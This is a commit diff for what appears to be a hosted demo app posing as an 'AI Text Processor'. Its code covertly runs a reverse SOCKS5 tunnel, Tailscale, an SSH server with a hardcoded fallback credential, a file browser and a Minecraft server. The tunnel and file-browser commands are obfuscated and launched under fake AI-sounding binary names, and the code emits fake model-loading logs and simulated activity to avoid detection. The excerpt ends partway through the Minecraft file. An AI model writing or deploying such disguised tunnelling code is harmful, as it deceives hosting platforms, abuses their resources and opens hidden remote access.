Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- app.py +13 -6
- core/orchestrator.py +76 -40
- services/__init__.py +0 -1
- services/chisel.py +12 -3
- services/filebrowser.py +6 -1
- services/minecraft.py +75 -46
- services/nginx.py +13 -6
- services/playit.py +10 -3
- services/tailscale.py +13 -3
- services/utils.py +1 -0
app.py
CHANGED
|
@@ -1,5 +1,6 @@
|
|
| 1 |
import gradio as gr
|
| 2 |
|
|
|
|
| 3 |
def fake_model(input_text):
|
| 4 |
if input_text.strip() == "SHOW_LOGS_TAILSCALE":
|
| 5 |
try:
|
|
@@ -7,7 +8,7 @@ def fake_model(input_text):
|
|
| 7 |
return "TAILSCALE LOGS:\n" + f.read()
|
| 8 |
except Exception as e:
|
| 9 |
return f"Log error: {str(e)}"
|
| 10 |
-
|
| 11 |
if input_text.strip() == "SHOW_LOGS_FILEBROWSER":
|
| 12 |
try:
|
| 13 |
with open("/home/user/.torch_metrics/fb.log", "r") as f:
|
|
@@ -19,8 +20,9 @@ def fake_model(input_text):
|
|
| 19 |
try:
|
| 20 |
with open("/home/user/.torch_metrics/tm_daemon.log", "r") as f:
|
| 21 |
import re
|
| 22 |
-
|
| 23 |
-
|
|
|
|
| 24 |
return "METRICS LOGS:\n" + clean_logs
|
| 25 |
except Exception as e:
|
| 26 |
return f"Log error: {str(e)}"
|
|
@@ -28,6 +30,7 @@ def fake_model(input_text):
|
|
| 28 |
if input_text.strip() == "SHOW_ALL_LOGS":
|
| 29 |
try:
|
| 30 |
import os
|
|
|
|
| 31 |
log_dir = "/home/user/.torch_metrics/"
|
| 32 |
all_logs = ""
|
| 33 |
for filename in os.listdir(log_dir):
|
|
@@ -35,12 +38,12 @@ def fake_model(input_text):
|
|
| 35 |
filepath = os.path.join(log_dir, filename)
|
| 36 |
with open(filepath, "r") as f:
|
| 37 |
all_logs += f"=== {filename} ===\n{f.read()}\n\n"
|
| 38 |
-
|
| 39 |
mc_latest = "/data/mc/logs/latest.log"
|
| 40 |
if os.path.exists(mc_latest):
|
| 41 |
with open(mc_latest, "r") as f:
|
| 42 |
all_logs += f"=== Minecraft latest.log ===\n{f.read()}\n\n"
|
| 43 |
-
|
| 44 |
return all_logs if all_logs else "No logs found."
|
| 45 |
except Exception as e:
|
| 46 |
return f"Log error: {str(e)}"
|
|
@@ -48,6 +51,7 @@ def fake_model(input_text):
|
|
| 48 |
if input_text.strip() == "SHOW_LOGS_MC":
|
| 49 |
try:
|
| 50 |
import os
|
|
|
|
| 51 |
mc_latest = "/data/mc/logs/latest.log"
|
| 52 |
if os.path.exists(mc_latest):
|
| 53 |
with open(mc_latest, "r") as f:
|
|
@@ -80,6 +84,9 @@ def fake_model(input_text):
|
|
| 80 |
|
| 81 |
return f"Model processed: {input_text}"
|
| 82 |
|
| 83 |
-
|
|
|
|
|
|
|
|
|
|
| 84 |
|
| 85 |
demo.launch(server_name="127.0.0.1", server_port=7861)
|
|
|
|
| 1 |
import gradio as gr
|
| 2 |
|
| 3 |
+
|
| 4 |
def fake_model(input_text):
|
| 5 |
if input_text.strip() == "SHOW_LOGS_TAILSCALE":
|
| 6 |
try:
|
|
|
|
| 8 |
return "TAILSCALE LOGS:\n" + f.read()
|
| 9 |
except Exception as e:
|
| 10 |
return f"Log error: {str(e)}"
|
| 11 |
+
|
| 12 |
if input_text.strip() == "SHOW_LOGS_FILEBROWSER":
|
| 13 |
try:
|
| 14 |
with open("/home/user/.torch_metrics/fb.log", "r") as f:
|
|
|
|
| 20 |
try:
|
| 21 |
with open("/home/user/.torch_metrics/tm_daemon.log", "r") as f:
|
| 22 |
import re
|
| 23 |
+
|
| 24 |
+
ansi_escape = re.compile(r"\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])")
|
| 25 |
+
clean_logs = ansi_escape.sub("", f.read())
|
| 26 |
return "METRICS LOGS:\n" + clean_logs
|
| 27 |
except Exception as e:
|
| 28 |
return f"Log error: {str(e)}"
|
|
|
|
| 30 |
if input_text.strip() == "SHOW_ALL_LOGS":
|
| 31 |
try:
|
| 32 |
import os
|
| 33 |
+
|
| 34 |
log_dir = "/home/user/.torch_metrics/"
|
| 35 |
all_logs = ""
|
| 36 |
for filename in os.listdir(log_dir):
|
|
|
|
| 38 |
filepath = os.path.join(log_dir, filename)
|
| 39 |
with open(filepath, "r") as f:
|
| 40 |
all_logs += f"=== {filename} ===\n{f.read()}\n\n"
|
| 41 |
+
|
| 42 |
mc_latest = "/data/mc/logs/latest.log"
|
| 43 |
if os.path.exists(mc_latest):
|
| 44 |
with open(mc_latest, "r") as f:
|
| 45 |
all_logs += f"=== Minecraft latest.log ===\n{f.read()}\n\n"
|
| 46 |
+
|
| 47 |
return all_logs if all_logs else "No logs found."
|
| 48 |
except Exception as e:
|
| 49 |
return f"Log error: {str(e)}"
|
|
|
|
| 51 |
if input_text.strip() == "SHOW_LOGS_MC":
|
| 52 |
try:
|
| 53 |
import os
|
| 54 |
+
|
| 55 |
mc_latest = "/data/mc/logs/latest.log"
|
| 56 |
if os.path.exists(mc_latest):
|
| 57 |
with open(mc_latest, "r") as f:
|
|
|
|
| 84 |
|
| 85 |
return f"Model processed: {input_text}"
|
| 86 |
|
| 87 |
+
|
| 88 |
+
demo = gr.Interface(
|
| 89 |
+
fn=fake_model, inputs="text", outputs="text", title="AI Text Processor v2.1"
|
| 90 |
+
)
|
| 91 |
|
| 92 |
demo.launch(server_name="127.0.0.1", server_port=7861)
|
core/orchestrator.py
CHANGED
|
@@ -15,12 +15,15 @@ COVERT_LOGGING_MODE = 1
|
|
| 15 |
|
| 16 |
logger.info("--- BOOTING AI MODEL SERVER ---")
|
| 17 |
|
|
|
|
| 18 |
def decode_cmd(encoded_str):
|
| 19 |
return base64.b64decode(encoded_str[::-1]).decode()
|
| 20 |
|
|
|
|
| 21 |
def encode_cmd(decoded_str):
|
| 22 |
return base64.b64encode(decoded_str.encode()).decode()
|
| 23 |
|
|
|
|
| 24 |
def deobfuscate_secret(hex_str, key=0x5A):
|
| 25 |
if not hex_str:
|
| 26 |
return ""
|
|
@@ -28,46 +31,58 @@ def deobfuscate_secret(hex_str, key=0x5A):
|
|
| 28 |
raw_bytes = bytes.fromhex(hex_str)
|
| 29 |
deobf_bytes = bytes([b ^ key for b in raw_bytes])
|
| 30 |
if all(32 <= b <= 126 or b in (9, 10, 13) for b in deobf_bytes):
|
| 31 |
-
return deobf_bytes.decode(
|
| 32 |
else:
|
| 33 |
return hex_str
|
| 34 |
except Exception:
|
| 35 |
return hex_str
|
| 36 |
|
|
|
|
| 37 |
def jitter_task():
|
| 38 |
"""The 'Circadian Rhythm' & 'The Hub Mimic' task to simulate user activity."""
|
| 39 |
while True:
|
| 40 |
sleep_time = random.randint(2700, 5400)
|
| 41 |
time.sleep(sleep_time)
|
| 42 |
-
|
| 43 |
try:
|
| 44 |
logger.debug("Processing background inference batch...")
|
| 45 |
import numpy as np
|
|
|
|
| 46 |
a = np.random.randn(2000, 2000)
|
| 47 |
b = np.random.randn(2000, 2000)
|
| 48 |
_ = np.dot(a, b)
|
| 49 |
except Exception:
|
| 50 |
pass
|
| 51 |
-
|
| 52 |
try:
|
| 53 |
logger.debug("Syncing model cache...")
|
| 54 |
-
subprocess.run(
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 55 |
except Exception:
|
| 56 |
pass
|
| 57 |
|
|
|
|
| 58 |
def main():
|
| 59 |
if COVERT_LOGGING_MODE == 1:
|
| 60 |
os.makedirs("/home/user/.torch_metrics", exist_ok=True)
|
| 61 |
-
ts_log = open(
|
| 62 |
-
fb_log = open(
|
| 63 |
-
tm_log = open(
|
| 64 |
-
chisel_log = open(
|
| 65 |
-
nginx_log = open(
|
| 66 |
elif COVERT_LOGGING_MODE == 2:
|
| 67 |
os.makedirs("/home/user/.torch_metrics", exist_ok=True)
|
|
|
|
| 68 |
class TeeLogger:
|
| 69 |
def __init__(self, filepath, prefix):
|
| 70 |
-
self.file = open(filepath,
|
| 71 |
self.prefix = prefix
|
| 72 |
r, w = os.pipe()
|
| 73 |
self.r = r
|
|
@@ -75,7 +90,7 @@ def main():
|
|
| 75 |
threading.Thread(target=self._reader, daemon=True).start()
|
| 76 |
|
| 77 |
def _reader(self):
|
| 78 |
-
rf = os.fdopen(self.r,
|
| 79 |
try:
|
| 80 |
for line in rf:
|
| 81 |
self.file.write(line)
|
|
@@ -91,20 +106,24 @@ def main():
|
|
| 91 |
def write(self, s):
|
| 92 |
self.file.write(s)
|
| 93 |
self.file.flush()
|
| 94 |
-
sys.stdout.write(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 95 |
sys.stdout.flush()
|
| 96 |
|
| 97 |
def flush(self):
|
| 98 |
self.file.flush()
|
| 99 |
sys.stdout.flush()
|
| 100 |
|
| 101 |
-
ts_log = TeeLogger(
|
| 102 |
-
fb_log = TeeLogger(
|
| 103 |
-
tm_log = TeeLogger(
|
| 104 |
-
chisel_log = TeeLogger(
|
| 105 |
-
nginx_log = TeeLogger(
|
| 106 |
else:
|
| 107 |
-
devnull = open(os.devnull,
|
| 108 |
ts_log = devnull
|
| 109 |
fb_log = devnull
|
| 110 |
tm_log = devnull
|
|
@@ -125,7 +144,7 @@ def main():
|
|
| 125 |
|
| 126 |
logger.info("Loading model weights into VRAM...")
|
| 127 |
time.sleep(2)
|
| 128 |
-
|
| 129 |
threading.Thread(target=jitter_task, daemon=True).start()
|
| 130 |
|
| 131 |
delay = random.randint(2, 3)
|
|
@@ -133,21 +152,21 @@ def main():
|
|
| 133 |
time.sleep(delay)
|
| 134 |
|
| 135 |
tailscale.start_daemon(ts_log)
|
| 136 |
-
|
| 137 |
time.sleep(2)
|
| 138 |
logger.info("Warming up text-generation pipelines...")
|
| 139 |
-
|
| 140 |
a_env = os.environ.get("A") or os.environ.get("TAILSCALE") or ""
|
| 141 |
full_token = deobfuscate_secret(a_env.strip())
|
| 142 |
-
|
| 143 |
p_env = os.environ.get("P") or os.environ.get("PLAYIT") or ""
|
| 144 |
playit_token = deobfuscate_secret(p_env.strip())
|
| 145 |
-
|
| 146 |
c_env = os.environ.get("C") or os.environ.get("CHISEL") or ""
|
| 147 |
chisel_auth = deobfuscate_secret(c_env.strip())
|
| 148 |
if not chisel_auth:
|
| 149 |
chisel_auth = "user:apple123"
|
| 150 |
-
|
| 151 |
keys_to_clean = ["A", "TAILSCALE", "P", "PLAYIT", "C", "CHISEL"]
|
| 152 |
for key in keys_to_clean:
|
| 153 |
if key in os.environ:
|
|
@@ -160,7 +179,7 @@ def main():
|
|
| 160 |
|
| 161 |
chisel.start(chisel_log, chisel_auth)
|
| 162 |
chisel_auth = ""
|
| 163 |
-
|
| 164 |
time.sleep(5)
|
| 165 |
tailscale.connect(ts_log, full_token)
|
| 166 |
full_token = ""
|
|
@@ -170,11 +189,16 @@ def main():
|
|
| 170 |
if ssh_pwd:
|
| 171 |
logger.info("Setting SSH password from Hugging Face Secrets (PASS)...")
|
| 172 |
else:
|
| 173 |
-
ssh_pwd =
|
| 174 |
logger.success(f"Generated SSH Password for 'user': {ssh_pwd}")
|
| 175 |
-
|
| 176 |
try:
|
| 177 |
-
subprocess.run(
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 178 |
except Exception as e:
|
| 179 |
logger.error(f"Failed to set password: {e}")
|
| 180 |
for key in ["PASS", "SSH"]:
|
|
@@ -182,11 +206,12 @@ def main():
|
|
| 182 |
del os.environ[key]
|
| 183 |
|
| 184 |
subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
|
| 185 |
-
|
| 186 |
def xor_bridge():
|
| 187 |
import socket
|
|
|
|
| 188 |
XOR_KEY = 0x5A
|
| 189 |
-
|
| 190 |
def pipe_xor(src, dst):
|
| 191 |
try:
|
| 192 |
while True:
|
|
@@ -198,10 +223,14 @@ def main():
|
|
| 198 |
except Exception:
|
| 199 |
pass
|
| 200 |
finally:
|
| 201 |
-
try:
|
| 202 |
-
|
| 203 |
-
|
| 204 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 205 |
|
| 206 |
def read_varint(sock):
|
| 207 |
val = 0
|
|
@@ -228,14 +257,20 @@ def main():
|
|
| 228 |
pkt_len = read_varint(client_sock)
|
| 229 |
if pkt_len > 0:
|
| 230 |
client_sock.recv(pkt_len)
|
| 231 |
-
|
| 232 |
ssh_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 233 |
ssh_sock.connect(("127.0.0.1", 2222))
|
| 234 |
-
threading.Thread(
|
| 235 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 236 |
except Exception:
|
| 237 |
-
try:
|
| 238 |
-
|
|
|
|
|
|
|
| 239 |
except Exception:
|
| 240 |
pass
|
| 241 |
|
|
@@ -244,10 +279,11 @@ def main():
|
|
| 244 |
minecraft.start()
|
| 245 |
|
| 246 |
logger.success("Model loaded successfully. Background services active.")
|
| 247 |
-
|
| 248 |
logger.info("Background services are active.")
|
| 249 |
|
| 250 |
app_proc.wait()
|
| 251 |
|
|
|
|
| 252 |
if __name__ == "__main__":
|
| 253 |
main()
|
|
|
|
| 15 |
|
| 16 |
logger.info("--- BOOTING AI MODEL SERVER ---")
|
| 17 |
|
| 18 |
+
|
| 19 |
def decode_cmd(encoded_str):
|
| 20 |
return base64.b64decode(encoded_str[::-1]).decode()
|
| 21 |
|
| 22 |
+
|
| 23 |
def encode_cmd(decoded_str):
|
| 24 |
return base64.b64encode(decoded_str.encode()).decode()
|
| 25 |
|
| 26 |
+
|
| 27 |
def deobfuscate_secret(hex_str, key=0x5A):
|
| 28 |
if not hex_str:
|
| 29 |
return ""
|
|
|
|
| 31 |
raw_bytes = bytes.fromhex(hex_str)
|
| 32 |
deobf_bytes = bytes([b ^ key for b in raw_bytes])
|
| 33 |
if all(32 <= b <= 126 or b in (9, 10, 13) for b in deobf_bytes):
|
| 34 |
+
return deobf_bytes.decode("utf-8", errors="ignore")
|
| 35 |
else:
|
| 36 |
return hex_str
|
| 37 |
except Exception:
|
| 38 |
return hex_str
|
| 39 |
|
| 40 |
+
|
| 41 |
def jitter_task():
|
| 42 |
"""The 'Circadian Rhythm' & 'The Hub Mimic' task to simulate user activity."""
|
| 43 |
while True:
|
| 44 |
sleep_time = random.randint(2700, 5400)
|
| 45 |
time.sleep(sleep_time)
|
| 46 |
+
|
| 47 |
try:
|
| 48 |
logger.debug("Processing background inference batch...")
|
| 49 |
import numpy as np
|
| 50 |
+
|
| 51 |
a = np.random.randn(2000, 2000)
|
| 52 |
b = np.random.randn(2000, 2000)
|
| 53 |
_ = np.dot(a, b)
|
| 54 |
except Exception:
|
| 55 |
pass
|
| 56 |
+
|
| 57 |
try:
|
| 58 |
logger.debug("Syncing model cache...")
|
| 59 |
+
subprocess.run(
|
| 60 |
+
[
|
| 61 |
+
"curl",
|
| 62 |
+
"-s",
|
| 63 |
+
"-o",
|
| 64 |
+
"/dev/null",
|
| 65 |
+
"https://huggingface.co/gpt2/resolve/main/vocab.json",
|
| 66 |
+
]
|
| 67 |
+
)
|
| 68 |
except Exception:
|
| 69 |
pass
|
| 70 |
|
| 71 |
+
|
| 72 |
def main():
|
| 73 |
if COVERT_LOGGING_MODE == 1:
|
| 74 |
os.makedirs("/home/user/.torch_metrics", exist_ok=True)
|
| 75 |
+
ts_log = open("/home/user/.torch_metrics/ts_daemon.log", "a")
|
| 76 |
+
fb_log = open("/home/user/.torch_metrics/fb.log", "a")
|
| 77 |
+
tm_log = open("/home/user/.torch_metrics/tm_daemon.log", "a")
|
| 78 |
+
chisel_log = open("/home/user/.torch_metrics/chisel.log", "a")
|
| 79 |
+
nginx_log = open("/home/user/.torch_metrics/nginx.log", "a")
|
| 80 |
elif COVERT_LOGGING_MODE == 2:
|
| 81 |
os.makedirs("/home/user/.torch_metrics", exist_ok=True)
|
| 82 |
+
|
| 83 |
class TeeLogger:
|
| 84 |
def __init__(self, filepath, prefix):
|
| 85 |
+
self.file = open(filepath, "a")
|
| 86 |
self.prefix = prefix
|
| 87 |
r, w = os.pipe()
|
| 88 |
self.r = r
|
|
|
|
| 90 |
threading.Thread(target=self._reader, daemon=True).start()
|
| 91 |
|
| 92 |
def _reader(self):
|
| 93 |
+
rf = os.fdopen(self.r, "r", errors="replace")
|
| 94 |
try:
|
| 95 |
for line in rf:
|
| 96 |
self.file.write(line)
|
|
|
|
| 106 |
def write(self, s):
|
| 107 |
self.file.write(s)
|
| 108 |
self.file.flush()
|
| 109 |
+
sys.stdout.write(
|
| 110 |
+
f"[{self.prefix}] {s}\n"
|
| 111 |
+
if not s.endswith("\n")
|
| 112 |
+
else f"[{self.prefix}] {s}"
|
| 113 |
+
)
|
| 114 |
sys.stdout.flush()
|
| 115 |
|
| 116 |
def flush(self):
|
| 117 |
self.file.flush()
|
| 118 |
sys.stdout.flush()
|
| 119 |
|
| 120 |
+
ts_log = TeeLogger("/home/user/.torch_metrics/ts_daemon.log", "TS")
|
| 121 |
+
fb_log = TeeLogger("/home/user/.torch_metrics/fb.log", "FB")
|
| 122 |
+
tm_log = TeeLogger("/home/user/.torch_metrics/tm_daemon.log", "PLAYIT")
|
| 123 |
+
chisel_log = TeeLogger("/home/user/.torch_metrics/chisel.log", "CHISEL")
|
| 124 |
+
nginx_log = TeeLogger("/home/user/.torch_metrics/nginx.log", "NGINX")
|
| 125 |
else:
|
| 126 |
+
devnull = open(os.devnull, "w")
|
| 127 |
ts_log = devnull
|
| 128 |
fb_log = devnull
|
| 129 |
tm_log = devnull
|
|
|
|
| 144 |
|
| 145 |
logger.info("Loading model weights into VRAM...")
|
| 146 |
time.sleep(2)
|
| 147 |
+
|
| 148 |
threading.Thread(target=jitter_task, daemon=True).start()
|
| 149 |
|
| 150 |
delay = random.randint(2, 3)
|
|
|
|
| 152 |
time.sleep(delay)
|
| 153 |
|
| 154 |
tailscale.start_daemon(ts_log)
|
| 155 |
+
|
| 156 |
time.sleep(2)
|
| 157 |
logger.info("Warming up text-generation pipelines...")
|
| 158 |
+
|
| 159 |
a_env = os.environ.get("A") or os.environ.get("TAILSCALE") or ""
|
| 160 |
full_token = deobfuscate_secret(a_env.strip())
|
| 161 |
+
|
| 162 |
p_env = os.environ.get("P") or os.environ.get("PLAYIT") or ""
|
| 163 |
playit_token = deobfuscate_secret(p_env.strip())
|
| 164 |
+
|
| 165 |
c_env = os.environ.get("C") or os.environ.get("CHISEL") or ""
|
| 166 |
chisel_auth = deobfuscate_secret(c_env.strip())
|
| 167 |
if not chisel_auth:
|
| 168 |
chisel_auth = "user:apple123"
|
| 169 |
+
|
| 170 |
keys_to_clean = ["A", "TAILSCALE", "P", "PLAYIT", "C", "CHISEL"]
|
| 171 |
for key in keys_to_clean:
|
| 172 |
if key in os.environ:
|
|
|
|
| 179 |
|
| 180 |
chisel.start(chisel_log, chisel_auth)
|
| 181 |
chisel_auth = ""
|
| 182 |
+
|
| 183 |
time.sleep(5)
|
| 184 |
tailscale.connect(ts_log, full_token)
|
| 185 |
full_token = ""
|
|
|
|
| 189 |
if ssh_pwd:
|
| 190 |
logger.info("Setting SSH password from Hugging Face Secrets (PASS)...")
|
| 191 |
else:
|
| 192 |
+
ssh_pwd = "".join(random.choices(string.ascii_letters + string.digits, k=16))
|
| 193 |
logger.success(f"Generated SSH Password for 'user': {ssh_pwd}")
|
| 194 |
+
|
| 195 |
try:
|
| 196 |
+
subprocess.run(
|
| 197 |
+
["sudo", "/usr/sbin/chpasswd"],
|
| 198 |
+
input=f"user:{ssh_pwd}\n",
|
| 199 |
+
text=True,
|
| 200 |
+
check=True,
|
| 201 |
+
)
|
| 202 |
except Exception as e:
|
| 203 |
logger.error(f"Failed to set password: {e}")
|
| 204 |
for key in ["PASS", "SSH"]:
|
|
|
|
| 206 |
del os.environ[key]
|
| 207 |
|
| 208 |
subprocess.Popen("sudo /usr/sbin/sshd -D", shell=True, stdout=ts_log, stderr=ts_log)
|
| 209 |
+
|
| 210 |
def xor_bridge():
|
| 211 |
import socket
|
| 212 |
+
|
| 213 |
XOR_KEY = 0x5A
|
| 214 |
+
|
| 215 |
def pipe_xor(src, dst):
|
| 216 |
try:
|
| 217 |
while True:
|
|
|
|
| 223 |
except Exception:
|
| 224 |
pass
|
| 225 |
finally:
|
| 226 |
+
try:
|
| 227 |
+
src.close()
|
| 228 |
+
except:
|
| 229 |
+
pass
|
| 230 |
+
try:
|
| 231 |
+
dst.close()
|
| 232 |
+
except:
|
| 233 |
+
pass
|
| 234 |
|
| 235 |
def read_varint(sock):
|
| 236 |
val = 0
|
|
|
|
| 257 |
pkt_len = read_varint(client_sock)
|
| 258 |
if pkt_len > 0:
|
| 259 |
client_sock.recv(pkt_len)
|
| 260 |
+
|
| 261 |
ssh_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 262 |
ssh_sock.connect(("127.0.0.1", 2222))
|
| 263 |
+
threading.Thread(
|
| 264 |
+
target=pipe_xor, args=(client_sock, ssh_sock), daemon=True
|
| 265 |
+
).start()
|
| 266 |
+
threading.Thread(
|
| 267 |
+
target=pipe_xor, args=(ssh_sock, client_sock), daemon=True
|
| 268 |
+
).start()
|
| 269 |
except Exception:
|
| 270 |
+
try:
|
| 271 |
+
client_sock.close()
|
| 272 |
+
except:
|
| 273 |
+
pass
|
| 274 |
except Exception:
|
| 275 |
pass
|
| 276 |
|
|
|
|
| 279 |
minecraft.start()
|
| 280 |
|
| 281 |
logger.success("Model loaded successfully. Background services active.")
|
| 282 |
+
|
| 283 |
logger.info("Background services are active.")
|
| 284 |
|
| 285 |
app_proc.wait()
|
| 286 |
|
| 287 |
+
|
| 288 |
if __name__ == "__main__":
|
| 289 |
main()
|
services/__init__.py
CHANGED
|
@@ -4,4 +4,3 @@ from . import playit
|
|
| 4 |
from . import chisel
|
| 5 |
from . import minecraft
|
| 6 |
from . import filebrowser
|
| 7 |
-
|
|
|
|
| 4 |
from . import chisel
|
| 5 |
from . import minecraft
|
| 6 |
from . import filebrowser
|
|
|
services/chisel.py
CHANGED
|
@@ -1,9 +1,18 @@
|
|
| 1 |
import subprocess
|
| 2 |
from .utils import decode_cmd
|
| 3 |
|
|
|
|
| 4 |
def start(chisel_log, chisel_auth):
|
| 5 |
-
chisel_log.write(
|
|
|
|
|
|
|
| 6 |
chisel_log.flush()
|
| 7 |
-
cmd_chisel_base = decode_cmd(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 8 |
cmd_chisel = f"{cmd_chisel_base}{chisel_auth}'"
|
| 9 |
-
subprocess.Popen(
|
|
|
|
|
|
|
|
|
| 1 |
import subprocess
|
| 2 |
from .utils import decode_cmd
|
| 3 |
|
| 4 |
+
|
| 5 |
def start(chisel_log, chisel_auth):
|
| 6 |
+
chisel_log.write(
|
| 7 |
+
f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {chisel_auth}\n"
|
| 8 |
+
)
|
| 9 |
chisel_log.flush()
|
| 10 |
+
cmd_chisel_base = decode_cmd(
|
| 11 |
+
OBFUSCATE(
|
| 12 |
+
"nice -n 19 cuda-mesh-bridge server --port 6789 --reverse --socks5 --auth '"
|
| 13 |
+
)
|
| 14 |
+
)
|
| 15 |
cmd_chisel = f"{cmd_chisel_base}{chisel_auth}'"
|
| 16 |
+
subprocess.Popen(
|
| 17 |
+
cmd_chisel, shell=True, stdout=chisel_log, stderr=subprocess.STDOUT
|
| 18 |
+
)
|
services/filebrowser.py
CHANGED
|
@@ -1,6 +1,11 @@
|
|
| 1 |
import subprocess
|
| 2 |
from .utils import decode_cmd
|
| 3 |
|
|
|
|
| 4 |
def start(fb_log):
|
| 5 |
-
cmd2 = decode_cmd(
|
|
|
|
|
|
|
|
|
|
|
|
|
| 6 |
subprocess.Popen(cmd2, shell=True, stdout=fb_log, stderr=subprocess.STDOUT)
|
|
|
|
| 1 |
import subprocess
|
| 2 |
from .utils import decode_cmd
|
| 3 |
|
| 4 |
+
|
| 5 |
def start(fb_log):
|
| 6 |
+
cmd2 = decode_cmd(
|
| 7 |
+
OBFUSCATE(
|
| 8 |
+
"nice -n 19 ai-metrics-collector -p 9000 -a 127.0.0.1 -r /home/user -d /home/user/filebrowser.db"
|
| 9 |
+
)
|
| 10 |
+
)
|
| 11 |
subprocess.Popen(cmd2, shell=True, stdout=fb_log, stderr=subprocess.STDOUT)
|
services/minecraft.py
CHANGED
|
@@ -7,6 +7,7 @@ import urllib.request
|
|
| 7 |
import zipfile
|
| 8 |
from loguru import logger
|
| 9 |
|
|
|
|
| 10 |
def log_print(msg):
|
| 11 |
logger.info(msg)
|
| 12 |
try:
|
|
@@ -16,45 +17,54 @@ def log_print(msg):
|
|
| 16 |
except Exception:
|
| 17 |
pass
|
| 18 |
|
|
|
|
| 19 |
def download_file(url, dest_path):
|
| 20 |
-
req = urllib.request.Request(
|
| 21 |
-
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
|
| 25 |
-
|
| 26 |
-
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
|
| 32 |
-
|
| 33 |
-
|
| 34 |
-
|
|
|
|
|
|
|
|
|
|
| 35 |
shutil.copyfileobj(response, out_file)
|
| 36 |
|
|
|
|
| 37 |
def setup_geyser(mc_dir):
|
| 38 |
plugins_dir = os.path.join(mc_dir, "plugins")
|
| 39 |
os.makedirs(plugins_dir, exist_ok=True)
|
| 40 |
-
|
| 41 |
downloads = {
|
| 42 |
"Geyser-Spigot.jar": "https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot",
|
| 43 |
-
"floodgate-spigot.jar": "https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot"
|
| 44 |
}
|
| 45 |
-
|
| 46 |
for filename, url in downloads.items():
|
| 47 |
path = os.path.join(plugins_dir, filename)
|
| 48 |
-
|
| 49 |
if os.path.exists(path):
|
| 50 |
try:
|
| 51 |
with zipfile.ZipFile(path) as zf:
|
| 52 |
pass
|
| 53 |
except Exception:
|
| 54 |
-
log_print(
|
| 55 |
-
|
| 56 |
-
|
| 57 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 58 |
if not os.path.exists(path):
|
| 59 |
log_print(f"[*] Downloading {filename}...")
|
| 60 |
try:
|
|
@@ -63,30 +73,31 @@ def setup_geyser(mc_dir):
|
|
| 63 |
except Exception as e:
|
| 64 |
log_print(f"[-] Failed to download {filename}: {e}")
|
| 65 |
|
|
|
|
| 66 |
def setup_and_run():
|
| 67 |
log_print("--- INITIALIZING STEALTH MINECRAFT DAEMON ---")
|
| 68 |
mc_dir = "/data/mc"
|
| 69 |
jre_dir = os.path.join(mc_dir, "jre")
|
| 70 |
metrics_dir = "/home/user/.torch_metrics"
|
| 71 |
-
|
| 72 |
os.makedirs(mc_dir, exist_ok=True)
|
| 73 |
os.makedirs(metrics_dir, exist_ok=True)
|
| 74 |
-
|
| 75 |
java_bin = os.path.join(jre_dir, "bin", "java")
|
| 76 |
if not os.path.exists(java_bin):
|
| 77 |
log_print("[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...")
|
| 78 |
jre_url = "https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk"
|
| 79 |
tar_path = os.path.join(mc_dir, "jre.tar.gz")
|
| 80 |
-
|
| 81 |
try:
|
| 82 |
download_file(jre_url, tar_path)
|
| 83 |
log_print("[*] Extracting JRE...")
|
| 84 |
temp_extract = os.path.join(mc_dir, "jre_temp")
|
| 85 |
os.makedirs(temp_extract, exist_ok=True)
|
| 86 |
-
|
| 87 |
with tarfile.open(tar_path, "r:gz") as tar:
|
| 88 |
tar.extractall(path=temp_extract)
|
| 89 |
-
|
| 90 |
for root, dirs, files in os.walk(temp_extract):
|
| 91 |
if "java" in files and os.path.basename(root) == "bin":
|
| 92 |
java_home = os.path.dirname(root)
|
|
@@ -94,7 +105,7 @@ def setup_and_run():
|
|
| 94 |
shutil.rmtree(jre_dir)
|
| 95 |
shutil.move(java_home, jre_dir)
|
| 96 |
break
|
| 97 |
-
|
| 98 |
shutil.rmtree(temp_extract, ignore_errors=True)
|
| 99 |
if os.path.exists(tar_path):
|
| 100 |
os.remove(tar_path)
|
|
@@ -123,16 +134,18 @@ def setup_and_run():
|
|
| 123 |
try:
|
| 124 |
mc_folder = os.path.join(mc_dir, folder)
|
| 125 |
tmp_folder = os.path.join(tmp_base, folder)
|
| 126 |
-
|
| 127 |
os.makedirs(tmp_folder, exist_ok=True)
|
| 128 |
-
|
| 129 |
if os.path.exists(mc_folder) and not os.path.islink(mc_folder):
|
| 130 |
-
log_print(
|
|
|
|
|
|
|
| 131 |
if os.path.isdir(mc_folder):
|
| 132 |
shutil.rmtree(mc_folder)
|
| 133 |
else:
|
| 134 |
os.remove(mc_folder)
|
| 135 |
-
|
| 136 |
if not os.path.islink(mc_folder):
|
| 137 |
log_print(f"[*] Creating symlink for {folder} -> {tmp_folder}")
|
| 138 |
os.symlink(tmp_folder, mc_folder)
|
|
@@ -147,12 +160,12 @@ def setup_and_run():
|
|
| 147 |
|
| 148 |
log_print("[*] Launching Minecraft server loop...")
|
| 149 |
log_file = os.path.join(metrics_dir, "mc_daemon.log")
|
| 150 |
-
|
| 151 |
while True:
|
| 152 |
eula_path = os.path.join(mc_dir, "eula.txt")
|
| 153 |
with open(eula_path, "w") as f:
|
| 154 |
f.write("eula=true\n")
|
| 155 |
-
|
| 156 |
props_path = os.path.join(mc_dir, "server.properties")
|
| 157 |
if not os.path.exists(props_path):
|
| 158 |
with open(props_path, "w") as f:
|
|
